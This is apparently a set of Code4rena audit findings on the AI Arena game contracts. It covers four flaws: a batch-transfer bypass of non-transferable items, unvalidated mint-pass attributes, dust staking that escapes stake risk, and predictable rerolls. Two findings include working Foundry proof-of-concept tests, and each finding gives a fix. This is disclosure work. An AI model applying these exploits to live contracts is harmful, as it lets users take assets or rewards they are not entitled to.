AI Arena - 0rpse's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

GameItems.sol is an ERC1155 contract, when creating game items admins are able to specify whether the items are transferable or not. When safeTransferFrom is called there is a check to see if the item is transferable and only then the contract transfers the item but since the contract inherits from OZ's ERC1155 contract, a user is able to circumvent this check by calling inherited safeBatchTransferFrom function.

Impact

Nontransferable items are transferable. As of now there is only one game item which is a transferable item but if nontransferable items are added or existing transferability is set to nontransferable, there will be unexpected consequences.

Proof of Concept

Add the following test to GameItems.t.sol file after setUp() function.

    function testSafeBatchTransferFrom() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.createGameItem("testName",
        "testURI",
        false, //infinite supply
        false, //transferable
        100,
        100,
        100);

        _gameItemsContract.mint(1, 1);

        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 1, 1, "");

        uint256[] memory batch = new uint256[](1);
        batch[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, batch, batch, "0x0");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 1), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 1), 0);
    }

Recommended Mitigation Steps

Override safeBatchTransferFrom function and add the same check safeTransferFrom has.

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public
      override(ERC1155)
   {
        for (uint i; i < ids.length; ++i) {
            require(allGameItemAttributes[ids[i]].transferable);
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
   }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

When redeeming a mint pass, so users are able to specify fighterType and iconsType to get rare attributes they are not entitled to.

Proof of Concept

You can see a mint pass collection on OpenSea, only a small percentage of them are dendroids or have custom icons attributes. Also in the documentation it is mentioned that dendroids are very rare and more difficult to obtain than champions.

Mint passes are ERC721 tokens which get minted to users from AAMintPass, later users can redeem mint passes in FighterFarm to claim a fighter. The issue is that there are no rules enforced on the inputs of FighterFarm::redeemMintPass function, so users can set fighterType and iconsType however they like. https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

   function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    )
        external
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length &&
            mintPassDnas.length == fighterTypes.length &&
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender,
                uint256(keccak256(abi.encode(mintPassDnas[i]))),
                modelHashes[i],
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

Recommended Mitigation Steps

Restrict access to the redeemMintPass function or implement validation mechanisms to verify the attributes selected by users, ensuring they match attributes defined on mint pass.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L245 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L535 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Vulnerability details

Impact

If staked token amount is very little users do not lose their staked tokens while still being able to get points for fights they win, even though the staked amount is very little this has adverse effects because a user might lose a hundred times consecutively but there are no stakes getting put at risk, so on the first win they can bounce back as they do not have to reclaim stakes at risk. Also their staking factor will be the same with anyone who stakes NRN tokens in the range 0 < x < 4.

Proof of Concept

stakeNRN function lets users stake any amount greater than zero. In _getStakingFactor staking factor is calculated as square root of the amount staked, also if staking factor turns out to be 0 it is adjusted to be 1. This means that a user who stakes 1 wei of NRN tokens and a user who stakes 3.999... NRN tokens both have staking factor of 1. Furthermore when results are being updated, _addResultPoints will calculate current stake at risk but due to rounding this value can be zero with dust amounts of stake, therefore no stakes will be put to risk.

Add the following test to RankedBattle.t.sol:

    function testStakeDustAmount() public {
        address staker = vm.addr(3);
        _mintFromMergingPool(staker);
        _fundUserWith4kNeuronByTreasury(staker);
        vm.prank(staker);
        _rankedBattleContract.stakeNRN(999, 0); //stake dust
        assertEq(_rankedBattleContract.amountStaked(0), 999);
        assertEq(_rankedBattleContract.stakingFactor(0), 1); //staking factor is 1

        address claimee = vm.addr(4);
        _mintFromMergingPool(claimee);
        _fundUserWith4kNeuronByTreasury(claimee);
        vm.prank(claimee);
        _rankedBattleContract.stakeNRN(4_000 * 10 ** 18, 1);
        assertEq(_rankedBattleContract.amountStaked(1), 4_000 * 10 ** 18);

        for (uint i; i < 100; i++) {
            vm.prank(address(_GAME_SERVER_ADDRESS));
            _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, false); //staker loses fights
        }
        assertEq(_stakeAtRiskContract.stakeAtRisk(0, 0), 0);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); //staker wins 1 fight

        _rankedBattleContract.setNewRound();
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(staker, 0), 750);
        assertEq(_rankedBattleContract.accumulatedPointsPerAddress(claimee, 0), 47250);

        vm.prank(staker);
        _rankedBattleContract.claimNRN();
        assertEq(_rankedBattleContract.amountClaimed(staker) > 0, true);
        vm.prank(claimee);
        _rankedBattleContract.claimNRN();
        assertEq(_rankedBattleContract.amountClaimed(claimee) > 0, true);
    }

Recommended Mitigation Steps

Minimum amount allowed to stake should not be one wei, rather it should atleast be that the user risks staked tokens and stakingFactor should be adjusted to one only if staked amount is close to one.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Vulnerability details

In FighterFarm contract users are presented with the ability to reroll their fighters' physical appearance, element and weight. The price of this action is 1000 NRN tokens however rerolling function lacks genuine randomness and the outcome of rerolls are predictable.

Impact

This predictability allows users to potentially manipulate the system by avoiding rerolls if the anticipated outcome is unfavorable. Adverse impacts on revenue generation and user engagement.

Proof of Concept

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379-L389 As all of the variables and the computation that contribute to rerolling are known a user is able to guess the outcome.

Recommended Mitigation Steps

Implement proper randomness mechanism for rerolling, such as integrating verifiable random functions or oracles.

Assessed type

Other